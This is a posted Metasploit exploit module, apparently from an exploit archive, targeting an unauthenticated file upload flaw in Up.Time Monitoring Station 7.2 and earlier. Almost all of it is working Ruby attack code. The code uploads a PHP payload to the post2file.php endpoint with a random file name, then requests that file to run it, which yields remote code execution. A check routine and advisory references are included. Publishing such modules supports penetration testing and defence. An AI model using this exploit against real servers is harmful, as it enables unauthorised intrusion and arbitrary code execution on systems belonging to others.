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Up.Time Monitoring Station post2file.php Arbitrary File Upload

Up.Time Monitoring Station post2file.php Arbitrary File Upload
Posted Dec 7, 2013
Site metasploit.com

This Metasploit module exploits an arbitrary file upload vulnerability found within the Up.Time monitoring server 7.2 and below. A malicious entity can upload a PHP file into the webroot without authentication, leading to arbitrary code execution.

tags | exploit, arbitrary, php, code execution, file upload
MD5 | 535b0d2266769bd6434a5a03a17a5cd8

Up.Time Monitoring Station post2file.php Arbitrary File Upload

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Up.Time Monitoring Station post2file.php Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found within the Up.Time
monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
webroot without authentication, leading to arbitrary code execution.
},
'Author' =>
[
'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '100423' ],
[ 'BID', '64031'],
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]
],
'Payload' =>
{
'Space' => 10000, # just a big enough number to fit any PHP payload
'DisableNops' => true
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Up.Time 7.2', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 19 2013'))

register_options([
OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),
Opt::RPORT(9999)
], self.class)
end

def check
uri = target_uri.path

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
})

if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Unknown

end

def exploit
print_status("#{peer} - Uploading PHP to Up.Time server")
uri = target_uri.path

@payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self => true)

post_data = ({
"file_name" => @payload_name,
"script" => php_payload
})

print_status("#{peer} - Uploading payload #{@payload_name}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),
'vars_post' => post_data,
})

unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
end

print_status("#{peer} - Executing payload #{@payload_name}")
res = send_request_cgi({
'uri' => normalize_uri(uri, 'wizards', @payload_name),
'method' => 'GET'
})
end
end

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